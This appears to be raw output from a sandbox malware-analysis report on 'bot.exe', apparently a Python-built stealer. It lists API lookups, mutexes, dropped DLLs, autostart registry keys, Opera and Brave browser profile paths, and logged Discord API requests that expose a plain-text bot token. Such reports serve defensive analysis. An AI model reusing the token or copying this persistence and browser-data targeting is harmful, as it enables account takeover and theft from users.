"GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__sqlite3 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit_select (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit_cd (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit_md (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit_unicodedata (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__multiarray_umath (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__umath_linalg (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit_cv2 (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__rust (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__cffi_backend (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter IsUserAnAdmin (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter PyInit__imaging (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter SetThreadDpiAwarenessContext (UID: 00000000-00002724) "bot.exe" called "GetProcAddress" with a parameter GetWindowDpiAwarenessContext (UID: 00000000-00002724) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007752) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007752) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007752) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007752) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007752) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007752)45:T81f,"libssl-3.dll" contains export function called "BIO_f_ssl" at ordinal 1 "libssl-3.dll" contains export function called "BIO_new_buffer_ssl_connect" at ordinal 2 "libssl-3.dll" contains export function called "BIO_new_ssl" at ordinal 3 "libssl-3.dll" contains export function called "BIO_new_ssl_connect" at ordinal 4 "libssl-3.dll" contains export function called "BIO_ssl_copy_session_id" at ordinal 5 "libssl-3.dll" contains export function called "BIO_ssl_shutdown" at ordinal 6 "libssl-3.dll" contains export function called "DTLS_client_method" at ordinal 7 "libssl-3.dll" contains export function called "DTLS_get_data_mtu" at ordinal 8 "libssl-3.dll" contains export function called "DTLS_method" at ordinal 9 "libssl-3.dll" contains export function called "DTLS_server_method" at ordinal 10 "libssl-3.dll" contains export function called "DTLS_set_timer_cb" at ordinal 11 "libssl-3.dll" contains export function called "DTLSv1_2_client_method" at ordinal 12 "libssl-3.dll" contains export function called "DTLSv1_2_method" at ordinal 13 "libssl-3.dll" contains export function called "DTLSv1_2_server_method" at ordinal 14 "libssl-3.dll" contains export function called "DTLSv1_client_method" at ordinal 15 "libssl-3.dll" contains export function called "DTLSv1_listen" at ordinal 16 "libssl-3.dll" contains export function called "DTLSv1_method" at ordinal 17 "libssl-3.dll" contains export function called "DTLSv1_server_method" at ordinal 18 "libssl-3.dll" contains export function called "ERR_load_SSL_strings" at ordinal 19 "libssl-3.dll" contains export function called "OPENSSL_cipher_name" at ordinal 20 "libssl-3.dll" contains export function called "OPENSSL_init_ssl" at ordinal 21 "libssl-3.dll" contains export function called "OSSL_QUIC_client_method" at ordinal 22 "libssl-3.dll" contains export function called "OSSL_QUIC_client_thread_method" at ordinal 23 "libssl-3.dll" contains export function called "OSSL_QUIC_server_method" at ordinal 24 "libssl-3.dll" contains export function called "OSSL_default_cipher_list" at ordinal 2546:T878,Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1324:304:WilStaging_02" Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1324:304:WilStaging_02" Process bot.exe created mutex with name "Local\SM0:1324:304:WilStaging_02" Process bot.exe created mutex with name "SM0:1324:304:WilStaging_02" Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2724:304:WilStaging_02" Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2724:304:WilStaging_02" Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\WindowsHelper" Process bot.exe created mutex with name "Local\SM0:2724:304:WilStaging_02" Process bot.exe created mutex with name "SM0:2724:304:WilStaging_02" Process bot.exe created mutex with name "SM0:2724:120:WilError_03" Process bot.exe created mutex with name "WindowsHelper" Process bot.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2724:120:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7752:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:7752:304:WilStaging_02" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7236:304:WilStaging_02" Process msedge.exe created mutex with name "Local\SM0:7236:120:WilError_03" Process msedge.exe created mutex with name "__OMADM_NAMED_MUTEX__" Process msedge.exe created mutex with name "ChromeProcessSingletonStartup!" Process msedge.exe created mutex with name "Local\SM0:7236:304:WilStaging_02" Process msedge.exe created mutex with name "Local\SessionImmersiveColorMutex" Process msedge.exe created mutex with name "3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD" Process msedge.exe created mutex with name "SM0:7236:304:WilStaging_02" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7236:120:WilError_03" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7236:304:WilStaging_02"47:Tba8,Antivirus vendors marked dropped file "libcrypto-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"), Antivirus vendors marked dropped file "opencv_videoio_ffmpeg500_64.dll" as clean (type is "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 13 sections"), Antivirus vendors marked dropped file "libssl-3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python314.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "libportaudio64bit-asio.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "libportaudioarm64-asio.dll" as clean (type is "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"), Antivirus vendors marked dropped file "libportaudio64bit.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "libportaudioarm64.dll" as clean (type is "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"), Antivirus vendors marked dropped file "libportaudio32bit-asio.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"), Antivirus vendors marked dropped file "libportaudio32bit.dll" as clean (type is "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"), Antivirus vendors marked dropped file "cacert.pem" as clean (type is "Unknown"), Antivirus vendors marked dropped file "VCRUNTIME140.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "api-ms-win-crt-private-l1-1-0.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "python3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"), Antivirus vendors marked dropped file "VCRUNTIME140_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "api-ms-win-crt-math-l1-1-0.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "api-ms-win-crt-string-l1-1-0.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "api-ms-win-crt-stdio-l1-1-0.dll" as clean (type is "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections")48:Tf81,"bot.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "python314.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "libportaudio64bit-asio.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libportaudioarm64-asio.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libportaudio64bit.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libportaudioarm64.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libportaudio32bit-asio.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libportaudio32bit.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "VCRUNTIME140.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-private-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "VCRUNTIME140_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-math-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-string-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-stdio-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-runtime-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-core-file-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-convert-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-crt-process-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "api-ms-win-core-processthreads-l1-1-0.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF49:T140f,"Software\Microsoft\LanguageOverlay" in Source: 00000000-00001324.00000001.171708.50BE3000.00000004.mdmp "Software\Microsoft\LanguageOverlay" in Source: 00000000-00001324.00000003.176692.50BD9000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002724.00000000.171515.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000000.171515.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002724.00000000.171515.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00002724.00000000.171515.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000000.171515.F9140000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002724.00000001.173435.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000001.173435.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002724.00000001.173435.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00002724.00000001.173435.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000001.173435.F9140000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002724.00000001.173435.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002724.00000001.173435.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002724.00000001.173435.FF540000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002724.00000002.175358.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000002.175358.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002724.00000002.175358.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00002724.00000002.175358.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000002.175358.F9140000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002724.00000002.175358.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002724.00000002.175358.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002724.00000002.175358.FF540000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp "USERPR\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8W" in Source: 00000000-00002724.00000003.176644.F7C5F000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002724.00000003.176644.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000003.176644.F7F40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00002724.00000003.176644.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00002724.00000003.176644.F8640000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002724.00000003.176644.F9140000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00002724.00000003.176644.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Roaming\Opera Software\Opera GX Stable" in Source: 00000000-00002724.00000003.176644.FF540000.00000004.mdmp "C:\Users\qvzzzqx\AppData\Local\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00002724.00000003.176644.FF540000.00000004.mdmp4a:Td74f,"GET /api/v10/users/@me HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 78bb8553d9352a5a2f89f9def401287a x-ratelimit-limit: 1000 x-ratelimit-remaining: 999 x-ratelimit-reset: 1793975623.666 x-ratelimit-reset-after: 0.001 x-discord-features: user-profile Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=1159890ed9ef11f1b8dc8385b006c61b; Expires=Wed 05-Nov-2031 14:33:43 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1159890ed9ef11f1b8dc8385b006c61befed85c8ffbd966ee7226dc4168805d282f10b063fd430f422c75190c5d7d194; Expires=Wed 05-Nov-2031 14:33:43 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=LhUy2u5kk0QjzL5fw516qFBHqBBxTo.SiRqjn8iOUOA-1793975623.6028674-1.0.1.1-Ci9oDOhZxAiw5uVUO1exlS39mv14KHfsqe3Ig4JKP1o; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=gYYnponycz1W7981RzTsgTv8H%2B1YKaWn9o5hj%2FT4Ti%2Fr64lRGMPs7RYlM4qQXuTG6PrXs9f9WL3CzYk%2FiAemvVfYSiI166Ru2d6%2BtTyXCW73HScttl9F%2BhDVNmry"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d09f8e4df3e8-SJC with response body ==>7B226964223A2231353637393534353934323530373532323432222C22757365726E616D65223A22626F74746C656D6F75736539323237766973616765222C22....... "GET /api/v10/channels/1567592947002908814 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 1fffbf023286f3010f01e4db70df9a2c x-ratelimit-limit: 1000 x-ratelimit-remaining: 999 x-ratelimit-reset: 1793975623.936 x-ratelimit-reset-after: 0.001 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=1184fd64d9ef11f1b19cadfa3138525a; Expires=Wed 05-Nov-2031 14:33:43 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1184fd64d9ef11f1b19cadfa3138525a564f9c9a05799c39ed75a280667d87bf782de6c9e81f63aaa08e89e017f613ec; Expires=Wed 05-Nov-2031 14:33:43 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=e7dKjo2zugBCmbqwD3ZgrBoqwlfIQfSV4l7rgvB7Cy8-1793975623.8692532-1.0.1.1-p21Uw9Y6AxbGK16mwK6iuiSfg9d.QiHxnLyAYvPl.zc; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=bkdkfKaa%2B2%2FRVRrRNr9vrlp9R53BSRQ63ScxLJXqHVEorOv0V4%2FngVbzqN2k2cR0Gyu5YrD8S6WPCiTDVQfV423BZ6QuSQWnFzfrd98%2BYGwEaO83v1o%2BrZ%2BERiHM"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0a12aed270a-SJC with response body ==>7B226964223A2231353637353932393437303032393038383134222C2274797065223A302C226C6173745F6D6573736167655F6964223A223135363832373136....... "GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975625.211 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri 